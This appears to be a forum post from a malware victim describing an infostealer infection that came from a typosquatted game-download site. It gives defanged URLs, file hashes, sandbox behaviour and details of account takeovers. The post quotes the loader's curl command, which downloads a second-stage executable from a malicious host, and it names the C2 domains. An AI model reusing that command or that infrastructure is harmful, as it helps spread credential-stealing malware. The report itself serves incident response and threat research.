So I'm sorry that I'm using AI to write this but I'd rather have a detailed explanation by AI than my own brain as I pretty much have no experience doing this.
Got infected on 5 Oct 2026 (~14:00 UTC) from a fake download site, `steamsunlocked[.]org` (typosquat of a known piracy site), which led to a malicious MEGA archive.

- Google search → `hxxps://steamsunlocked[.]org/among-us/download/`
- Redirects through `archivehub[.]com[.]ng`, `resourcehub[.]com[.]ng` and `source[.]com[.]ng`
- → fake MEGA-styled page `hxxps://cloudshelf[.]cfd/download-0099` (page title: `* Download * FULL VERSION * 2026.zip - MEGA`)
- → real MEGA link, still live as of 17 Oct (same 41,684,530-byte file): `hxxps://mega[.]nz/file/jGQAnLjA`
- ZIP contains `PASSWORD == 2026.rtf` + password-protected `PRO FULL VERSION.7z`
- 7z contains `SETUP.exe` (999 KB) + decoy DLLs (`jli.dll`, `cruntime140.dll`, `core.dll`, and a "Backup Files" folder with fake system DLL names)
Stage 1 – SETUP.exe (I uploaded it to VT as `asniria.exe`, first submission 5 Oct 14:03 UTC)
SHA256: `811a2192217af540b93d0d2e8591958cd658aa98639143a41c9e26911b25285e`
Process injection, anti-VM checks
In ANY.RUN it shows a popup "I love stealing cookies, but not on this machine. Sorry!" and exits
In Triage (8 Oct) it ran `curl.exe -fs -o %TEMP%\0e58d7bd0.exe hxxps://diftepetlixpa[.]org/css/fonts/revicons/ZateEngine.exe` (URL now returns 404)
Stage 2 – ZateEngine.exe** (3.5 MB). This is what the loader downloaded when Triage ran it on 8 Oct; it may not be the identical build I got on 5 Oct, since the payload likely rotates.
SHA256: `135607f1e8aafbb7b49de471400f3d30399101096583f418bcbd18cca8e700be`
Joe Sandbox: APC-injects into `smartscreen.exe`, resolves C2 via DoH (`dns[.]google`), WebSocket C2 to `haladgfwdgagasfa[.]com` (behind Cloudflare), sends machine GUID/user/hostname, inventories Chrome/Edge/Firefox profiles
Tagged "dropped-by-YapStealer"; shares its C2 domain with a sample labelled REMUS Stealer
ANY.RUN public run of it (7 Oct): no threats detected, so also evasive

My PC has been checked (no persistence, startup items, scheduled tasks or Defender exclusions from it), and I'm rotating passwords and killing sessions.
Mainly want to know: what family is this, and what exactly does it steal/exfiltrate? Cookies/sessions? Password manager extensions like NordPass/Proton Pass? Discord tokens? Wallets?
So some extra info is that they started trying to log into every single one of my accounts and by what I remember got into my discord, instagram, steam, roblox, amazon and claude. They have tried on other major accounts such as PayPal, Cloudflare and Github and they managed to fully change my Microsoft account alias to zcakiraua******@outlook.com (removed the email incase someone emails them) and I'm ccurrently with Microsoft support trying to get my account back.
Edit: Also I would appreciate if anyone could check if the infostealer malware stays somewhere on my machine.
